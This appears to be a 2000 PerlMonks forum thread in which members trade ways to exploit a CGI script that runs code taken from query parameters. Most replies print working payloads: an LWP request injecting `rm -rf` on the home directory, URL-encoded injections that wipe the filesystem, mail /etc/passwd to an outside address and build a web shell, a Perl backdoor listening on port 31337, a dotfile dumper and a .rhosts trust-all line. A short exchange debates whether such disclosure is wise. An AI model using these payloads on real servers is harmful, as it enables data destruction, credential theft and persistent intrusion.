Can we top this security problem?

swiftone has asked for the wisdom of the Perl Monks concerning the following question:

Replies are listed 'Best First'.
Re: Can we top this security problem? by merlyn (Sage) on Oct 05, 2000 at 18:33 UTC
`my $evil_code = q{system "/bin/rm", "-rf", $ENV{HOME};}; use LWP::UserAgent; use HTTP::Request::Common; LWP::UserAgent->new->simple_request( POST 'http://this.machine/url.for.evil.cgi', ["x; $evil_code; \$x" = +> "You lose"] );` [download] -- Randal L. Schwartz, Perl hacker	[reply] [d/l]
Re: Can we top this security problem? by cwest (Friar) on Oct 05, 2000 at 18:48 UTC
bad.cgi?var%3Dtext%3B%60rm%20-rf%20%2F%60 or bad.cgi?var%3Dtext%3Bwarn%20%27ha%27%20while%201 or bad.cgi?var%3Dtext%3B%60mail%20%3C%20%2Fetc%2Fpasswd%20me%40isp.com%60 or bad.cgi?var%3Dtext%3B%60echo%20%27%23%21%2Fusr%2Flocal%2Fbin%2Fperl%27 +%20%3E%20hack.cgi%60 bad.cgi?var%3Dtext%3B%60echo%20%27use%20CGI%20qw%2F%3Aall%2F%3B%27%20% +3E%20hack.cgi%60 bad.cgi?var%3Dtext%3B%60echo%20%27%24cmd%20%3D%20param%28%22cmd%22%29% +3B%27%20%3E%20hack.cgi%60 bad.cgi?var%3Dtext%3B%60echo%20%27print%20header%2Cstart_html%3B%20%3E +%20hack.cgi%60 bad.cgi?var%3Dtext%3B%60echo%20%27print%20%5C%60%24cmd%5C%60%2C%20end_ +html%3B%20%3E%20hack.cgi%60 bad.cgi?var%3Dtext%3B%60chmod%20%2Bx%20hack.cgi%60 [download] Which are the equivalents of: bad.cgi?var=text;`rm -rf /` or bad.cgi?var=text;warn 'ha' while 1 or bad.cgi?var=text;`mail < /etc/passwd me@isp.com` or bad.cgi?var=text;`echo '#!/usr/local/bin/perl' > hack.cgi` bad.cgi?var=text;`echo 'use CGI qw/:all/;' > hack.cgi` bad.cgi?var=text;`echo '$cmd = param("cmd");' > hack.cgi` bad.cgi?var=text;`echo 'print header,start_html; > hack.cgi` bad.cgi?var=text;`echo 'print \`$cmd\`, end_html; > hack.cgi` bad.cgi?var=text;`chmod +x hack.cgi` [download] I have not tested this, though. :-) -- Casey I am a superhero.	[reply] [d/l] [select]
Re: Can we top this security problem? by Corion (Patriarch) on Oct 05, 2000 at 19:04 UTC
I'd set up a nice and cozy backdoor which gives me `31337 r4w P3rl P0w3r`™. The code is the following : `use IO::Socket; use Net::hostent; $s=IO::Socket::INET->new(Proto=>'tcp',LocalPort=>31337,Listen=>SOMAXCO +NN,Reuse=>1); while($c=$s->accept()) { $c->autoflush(1); print$c"Welcome. My box is your box.\n>"; print($c eval,"\n>")while(defined$c&&<$c>);` [download] which would be encoded into an URL in the obvious way demonstrated above (yes, I'm too lazy for this now `:-)`. I wonder if that code for a Perl s?hell can be made any prettier/smaller ... .	[reply] [d/l]
RE: Can we top this security problem? by Russ (Deacon) on Oct 05, 2000 at 18:52 UTC
BTW, just for those who may not know... The PHP programmer meant to do this: `my $query = new CGI; $query->import_names('R'); print $R::ParamNameFromCGI; # or whatever` [download] Russ Brainbench 'Most Valuable Professional' for Perl	[reply] [d/l]
Re: Can we top this security problem? by Russ (Deacon) on Oct 05, 2000 at 18:49 UTC
Hmmm. Not much time to be really diabolical, but how about something like... `http://server.domain/index.cgi?Blah=%60cat%20/etc/passwd%60;%20print%2 +0$Blah` [download] Russ Brainbench 'Most Valuable Professional' for Perl	[reply] [d/l]
Re: Can we top this security problem? by wardk (Deacon) on Oct 05, 2000 at 20:10 UTC
I submit this as a potential "topper" :-) `#!/usr/bin/perl print "Content-type: text/html\n\n"; print "<h1>Hey dudez, my server root password is: <i>dumass</i></h1>"; exit;` [download]	[reply] [d/l]
Re (tilly) 1: Can we top this security problem? by tilly (Archbishop) on Oct 05, 2000 at 20:14 UTC
The technique has been demonstrated, but I would suggest having it send me back the output of: `perl -V` [download] and then search for a rootkit for my return visit.	[reply] [d/l]
RE: Re (tilly) 1: Can we top this security problem? by cwest (Friar) on Oct 05, 2000 at 22:03 UTC
Or `suidperl` Gasp! -- Casey I am a superhero.	[reply]
RE (tilly) 3: Can we top this security problem? by tilly (Archbishop) on Oct 05, 2000 at 22:11 UTC
Dang. Fixed it here and so forgot that the portability of Perl was demonstrated with a nicely portable rootkit. :-( Very good catch.	[reply]
Re: Can we top this security problem? by chromatic (Archbishop) on Oct 06, 2000 at 00:07 UTC
Assuming the webserver chroot's successfully, there's always the .ht* finder: `use File::Find; find('/'); sub wanted { if (/^\.\w/) { print "$File::Find::name<p>\n<pre>"; @ARGV = $File::Find::name; print while (<>); print "</pre><p>\n"; } }` [download] There's also a pseudo-fork bomb, which may or may not go over well: `system($0, "foo=". param($name));`	[reply] [d/l] [select]
RE: Can we top this security problem? (is this wise?) by ybiC (Prior) on Oct 05, 2000 at 19:30 UTC
I absolutely respect the coding abilities of swiftone and fine Monks who replied. But I also wonder if it's wise to post such code here at the Monastery. It'd be a crying shame to see PM added to proxy/firewall vendors' block lists. My thoughts, worth exactly what you paid for them 8^) cheers, ybiC	[reply]
RE: RE: Can we top this security problem? (is this wise?) by Albannach (Monsignor) on Oct 05, 2000 at 19:46 UTC
I had a similar reaction for a second, but that's the old security through obscurity concept again, which has served us so well in the past (I'M KIDDING!). The abuses for the bad code are many and varied and really not that difficult to devise either (even I understand them!), so the solution is to try to inform (and perhaps frighten) those responsible for insecure code so that the holes can be repaired, rather than to pretend that the abuses can be kept secret. (my $0.02, and that's Canadian dollars!)	[reply]
RE: (3) Can we top this security problem? (my $motive = 'selfish';) by ybiC (Prior) on Oct 05, 2000 at 20:18 UTC
Well said, Albannach. I wouldn't argue with you for a moment. My motives are actually quite selfish - I'm behind a blocklist-subscribed firewall all day, and would be a very sad monk if it started blocking PM. 8^( cheers, ybiC	[reply]
Re: Can we top this security problem? by 2501 (Pilgrim) on Oct 06, 2000 at 07:46 UTC
hehe...You guys like to overkill don't you:P Take Merlyn's code and replace $evilcode with `qw(system "echo","+ +",">>~/.rhost";);` [download] hell, merlyn prolly already thought of that:P I guess once you prove you can exploit the script it becomes more of a system discussion.	[reply] [d/l]
RE: Re: Can we top this security problem? by merlyn (Sage) on Oct 06, 2000 at 18:23 UTC
Right, the point of my script is that `$evil_code` can be any Perl code, so I've reduced the problem to "where do you want to go today?" with whatever choice of damage you want. -- Randal L. Schwartz, Perl hacker	[reply]

Gasp!